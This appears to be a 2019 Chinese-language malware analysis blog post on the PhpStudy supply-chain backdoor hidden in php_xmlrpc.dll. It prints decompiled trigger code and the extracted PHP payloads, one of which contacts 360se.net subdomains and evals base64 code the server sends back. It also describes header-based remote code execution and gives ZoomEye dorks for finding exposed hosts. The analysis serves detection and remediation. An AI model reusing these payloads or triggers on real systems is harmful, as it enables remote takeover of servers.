PhpStudy 後門分析
作者:Hcamael@知道創宇404實驗室
時間:2019年9月26日
背景介紹
2019/09/20,一則杭州警方通報打擊涉網違法犯罪專項行動戰果的新聞出現在我的朋友圈,其中通報了警方發現PhpStudy軟體被種入後門後進行的偵查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗還挺多的,曾經我還是Web狗的時候也用過幾天,不過因為不習慣就卸了。還記得當初會用PhpStudy的原因是在網上自學一些Web方向的課程時,那些課程中就是使用PhpStudy。在拿到樣本後,我就對PhpStudy中的後門進行了一波逆向分析。
後門分析
最近關於講phpstudy的文章很多,不過我只得到一個資訊,後門在php_xmlrpc.dll檔案中,有關鍵詞:"eval(%s(%s))"。得知這個資訊後,就降低了前期的工作難度。可以直接對該dll檔案進行逆向分析。
我拿到的是2018 phpstudy的樣本:
MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5
對字串進行搜尋,很容易的搜到了函式:
sub_100031F0
經過對該函式逆向分析,發現該後門可以分為三種形式:
1.觸發固定payload:
v12 = strcmp(**v34, aCompressGzip); if ( !v12 ) { v13 = &rce_cmd; v14 = (char *)&unk_1000D66C; v42 = &rce_cmd; v15 = &unk_1000D66C; while ( 1 ) { if ( *v15 == '\'' ) { v13[v12] = '\\'; v42[v12 + 1] = *v14; v12 += 2; v15 += 2; } else { v13[v12++] = *v14; ++v15; } v14 += 4; if ( (signed int)v14 >= (signed int)&unk_1000E5C4 ) break; v13 = v42; } spprintf(&v36, 0, aVSMS, byte_100127B8, Dest); spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42); v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v17 = *(void **)(v16 + 296); *(_DWORD *)(v16 + 296) = &v32; v40 = v17; v18 = setjmp3((int)&v32, 0); v19 = v40; if ( v18 ) { v20 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40; } else { v20 = a3; zend_eval_string(v42, 0, &rce_cmd, a3); } result = 0; *(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19; return result; }
從
unk_1000D66C
到
unk_1000E5C4
為zlib壓縮的payload,後門檢查請求頭,當滿足要求後,會獲取壓縮後的payload,然後執行
@eval(gzuncompress(payload))
,把payload解壓後再執行,經過提取,該payload為:
@ini_set("display_errors","0");error_reporting(0);function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){ $result = ""; $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){ $handle = fsockopen($ip, intval($port), $errno, $errstr, 5); if( !$handle ){ return "err"; } } fwrite($handle, $sendMsg."\n"); while(!feof($handle)){ stream_set_timeout($handle, 2); $result .= fread($handle, 1024); $info = stream_get_meta_data($handle); if ($info['timed_out']) { break; } } fclose($handle); return $result; }$ds = array("www","bbs","cms","down","up","file","ftp");$ps = array("20123","40125","8080","80","53");$n = false;do { $n = false; foreach ($ds as $d){ $b = false; foreach ($ps as $p){ $result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){ $b =true; break; } } if ($b)break; } $info = explode("<^>",$result); if (count($info)==4){ if (strpos($info[3],"/*Onemore*/") !== false){ $info[3] = str_replace("/*Onemore*/","",$info[3]); $n=true; } @eval(base64_decode($info[3])); }}while($n);
2.觸發固定的payload2
if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ) { if ( strlen(byte_100127B8) == 0 ) sub_10004480(byte_100127B8); if ( strlen(Dest) == 0 ) sub_10004380(Dest); if ( strlen(byte_100127EC) == 0 ) sub_100044E0(byte_100127EC); v8 = &rce_cmd; v9 = asc_1000D028; v41 = &rce_cmd; v10 = 0; v11 = asc_1000D028; while ( 1 ) { if ( *(_DWORD *)v11 == '\'' ) { v8[v10] = 92; v41[v10 + 1] = *v9; v10 += 2; v11 += 8; } else { v8[v10++] = *v9; v11 += 4; } v9 += 4; if ( (signed int)v9 >= (signed int)&unk_1000D66C ) break; v8 = v41; } spprintf(&v41, 0, aEvalSS, aGzuncompress, v41); v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v23 = *(_DWORD *)(v22 + 296); *(_DWORD *)(v22 + 296) = &v31; v38 = v23; v24 = setjmp3((int)&v31, 0); v25 = v38; if ( v24 ) { v26 = a3; *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38; } else { v26 = a3; zend_eval_string(v41, 0, &rce_cmd, a3); } *(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25; if ( dword_1000D010 < 3600 ) dword_1000D010 += 3600; ftime(&dword_10012AA0); } ftime(&dword_10012AB0); if ( dword_10012AA0 < 0 ) ftime(&dword_10012AA0);
當請求頭裡面不含有
Accept-Encoding
欄位,並且時間戳滿足一定條件後,會執行
asc_1000D028
到
unk_1000D66C
經過壓縮的payload,同第一種情況。
提取後解壓得到該payload:
@ini_set("display_errors","0");error_reporting(0);$h = $_SERVER['HTTP_HOST'];$p = $_SERVER['SERVER_PORT'];$fp = fsockopen($h, $p, $errno, $errstr, 5);if (!$fp) {} else { $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n"; $out .= "Host: {$h}\r\n"; $out .= "Accept-Encoding: compress,gzip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); fclose($fp);}
3.RCE遠端命令執行
if ( !strcmp(**v34, aGzipDeflate) ) { if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1 && zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ) { v40 = base64_decode(**v37, strlen((const char *)**v37)); if ( v40 ) { v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4); v5 = *(_DWORD *)(v4 + 296); *(_DWORD *)(v4 + 296) = &v30; v35 = v5; v6 = setjmp3((int)&v30, 0); v7 = v35; if ( v6 ) *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35; else zend_eval_string(v40, 0, &rce_cmd, a3); *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7; } }
當請求頭滿足一定條件後,會提取一個請求頭欄位,進行base64解碼,然後
zend_eval_string
執行解碼後的exp。
研究了後門型別後,再來看看什麼情況下會進入該函式觸發該後門。查詢
sub_100031F0
函式的引用資訊發現:
data:1000E5D4 dd 0.data:1000E5D8 dd 0.data:1000E5DC dd offset aXmlrpc ; "xmlrpc".data:1000E5E0 dd offset off_1000B4B0.data:1000E5E4 dd offset sub_10001010.data:1000E5E8 dd 0.data:1000E5EC dd offset sub_100031F0.data:1000E5F0 dd offset sub_10003710.data:1000E5F4 dd offset sub_10001160.data:1000E5F8 dd offset a051 ; "0.51"
該函式存在於一個結構體中,該結構體為
_zend_module_entry
結構體:
//zend_modules.hstruct _zend_module_entry { unsigned short size; //sizeof(zend_module_entry) unsigned int zend_api; //ZEND_MODULE_API_NO unsigned char zend_debug; //是否開啟debug unsigned char zts; //是否開啟執行緒安全 const struct _zend_ini_entry *ini_entry; const struct _zend_module_dep *deps; const char *name; //副檔名稱,不能重複 const struct _zend_function_entry *functions; //擴充套件提供的內部函式列表 int (*module_startup_func)(INIT_FUNC_ARGS); //擴充套件初始化回撥函式,PHP_MINIT_FUNCTION或ZEND_MINIT_FUNCTION定義的函式 int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); //擴充套件關閉時回撥函式 int (*request_startup_func)(INIT_FUNC_ARGS); //請求開始前回撥函式 int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); //請求結束時回撥函式 void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); //php_info展示的擴充套件資訊處理函式 const char *version; //版本 ... unsigned char type; void *handle; int module_number; //擴充套件的唯一編號 const char *build_id;};
sub_100031F0
函式為
request_startup_func
,該欄位表示在請求初始化階段回撥的函式。從這裡可以知道,只要php成功載入了存在後門的xmlrpc.dll,那麼任何只要構造對應的後門請求頭,那麼就能觸發後門。在Nginx伺服器的情況下就算請求一個不存在的路徑,也會觸發該後門。
由於該後門存在於php的ext擴充套件中,所以不管是nginx還是apache還是IIS介受影響。
修復方案也很簡單,把php的
php_xmlrpc.dll
替換成無後門的版本,或者現在直接去官網下載,官網現在的版本經檢測都不存後門。
雖然又對後門的範圍進行了一波研究,發現後門只存在於
php-5.4.45
和
php-5.2.17
兩個版本中:
$ grep "@eval" ./* -r Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches
隨後又在第三方網站上( )上下載了phpstudy2016,卻發現不存在後門:
phpStudy20161103.zip壓縮包md5:5bf5f785f027bf0c99cd02692cf7c322 phpStudy20161103.exe md5碼:1a16183868b865d67ebed2fc12e88467
之後同事又發了我一份他2018年在官網下載的phpstudy2016,發現同樣存在後門,跟2018版的一樣,只有兩個版本的php存在後門:
MD5 (phpStudy20161103_backdoor.exe) = a63ab7adb020a76f34b053db310be2e9 $ grep "@eval" ./* -r Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches
檢視發現第三方網站上是於2017-02-13更新的phpstudy2016。
ZoomEye資料
透過ZoomEye探測phpstudy可以使用以下dork:
- "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45" "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" +"X-Powered-By" -> 89,483
- +"nginx/1.11.5" +"PHP/5.2.17" -> 597 總量共計有90,080個目標現在可能會受到PhpStudy後門的影響。
可能受影響的目標全球分佈概況:
可能受影響的目標全國分佈概況:
畢竟是國產軟體,受影響最多的國家還是中國,其次是美國。對美國受影響的目標進行簡單的探查發現基本都是屬於IDC機房的機器,猜測都是國人在購買的vps上搭建的PhpStudy。
知道創宇雲防禦資料
知道創宇404積極防禦團隊檢測到2019/09/24開始,網際網路上有人開始對PhpStudy後門中的RCE進行利用。
2019/09/24攻擊總數13320,攻擊IP數110,被攻擊網站數6570,以下是攻擊來源TOP 20:
攻擊來源 | 攻擊次數 |
---|---|
*.164.246.149 | 2251 |
*.114.106.254 | 1829 |
*.172.65.173 | 1561 |
*.186.180.236 | 1476 |
*.114.101.79 | 1355 |
*.147.108.202 | 1167 |
*.140.181.28 | 726 |
*.12.203.223 | 476 |
*.12.73.12 | 427 |
*.12.183.161 | 297 |
*.75.78.226 | 162 |
*.12.184.173 | 143 |
*.190.132.114 | 130 |
*.86.46.71 | 126 |
*.174.70.149 | 92 |
*.167.156.78 | 91 |
*.97.179.164 | 87 |
*.95.235.26 | 83 |
*.140.181.120 | 80 |
*.114.105.176 | 76 |
2019/09/25攻擊總數45012,攻擊IP數187,被攻擊網站數10898,以下是攻擊來源TOP 20:
攻擊來源 | 攻擊次數 |
---|---|
*.114.101.79 | 6337 |
*.241.157.69 | 5397 |
*.186.180.236 | 5173 |
*.186.174.48 | 4062 |
*.37.87.81 | 3505 |
*.232.241.237 | 2946 |
*.114.102.5 | 2476 |
*.162.20.54 | 2263 |
*.157.96.89 | 1502 |
*.40.8.29 | 1368 |
*.94.10.195 | 1325 |
*.186.41.2 | 1317 |
*.114.102.69 | 1317 |
*.114.106.254 | 734 |
*.114.100.144 | 413 |
*.114.107.73 | 384 |
*.91.170.36 | 326 |
*.100.96.67 | 185 |
*.83.189.86 | 165 |
*.21.136.203 | 149 |
攻擊源國家分佈:
國家 | 數量 |
---|---|
中國 | 34 |
美國 | 1 |
韓國 | 1 |
德國 | 1 |
省份分佈:
省份 | 數量 |
---|---|
雲南 | 7 |
北京 | 6 |
江蘇 | 6 |
廣東 | 4 |
香港 | 4 |
上海 | 2 |
浙江 | 2 |
重慶 | 1 |
湖北 | 1 |
四川 | 1 |
攻擊payload:
如需轉載,請註明來源
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912109/viewspace-2658732/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- phpstudy後門POC分析和EXP開發PHP
- phpStudy 後門如何檢測和修復PHP
- 威脅快報|Bulehero挖礦蠕蟲升級,PhpStudy後門漏洞加入武器庫PHP
- JavaScript後門深層分析JavaScript
- SSH後門分析總結
- phpstudy 的安裝後需要注意事項PHP
- Redis後門植入分析報告Redis
- 數十萬PhpStudy使用者被植入後門,快來檢測你是否已淪為“肉雞”PHP
- PHP後門新玩法:一款猥瑣的PHP後門分析PHP
- phpstudy支援sqlserverPHPSQLServer
- 施耐德NOE77101後門漏洞分析
- FYSBIS分析報告:SOFACY的Linux後門Linux
- phpstudy自定義版本PHP
- Express 中介軟體 getcookies 後門程式碼分析ExpressCookie
- phpstudy搭建tp專案PHP
- phpstorm+phpstudy 配置xdebugPHPORM
- phpstudy apache 配置 https 證照PHPApacheHTTP
- phpStudy2018 Nginx404PHPNginx
- 深度學習後門攻擊分析與實現(二)深度學習
- 深度學習後門攻擊分析與實現(一)深度學習
- CS後門原始碼特徵分析與IDS入侵檢測原始碼特徵
- 用phpStudy配置apache伺服器PHPApache伺服器
- phpstudy 使用 PHP+nginx 配置 LaravelPHPNginxLaravel
- phpStudy啟動介面的功能簡介PHP
- Apache歷理 phpStudy下載及使用ApachePHP
- 事後分析
- iBackDoor(愛後門)和DroidBackDoor(安後門):同時影響iOS和Android的”後門”SDK?iOSAndroid
- 後端分析/前端分析/邊緣分析後端前端
- phpStudy安裝ssl證照 – HTTPS SSL 教程PHPHTTP
- NodeJs後門程式NodeJS
- phpstudy配置本地ssl證照,訪問https://127.0.0.1PHPHTTP127.0.0.1
- 關於PHPStudy中MySQL啟動不成功PHPMySql
- Powershell之MOF後門
- 粘滯鍵後門
- 網站伺服器木馬後門查詢之威脅情報分析網站伺服器
- Python 股票分析入門Python
- 工控安全入門分析
- FineBI入門案例分析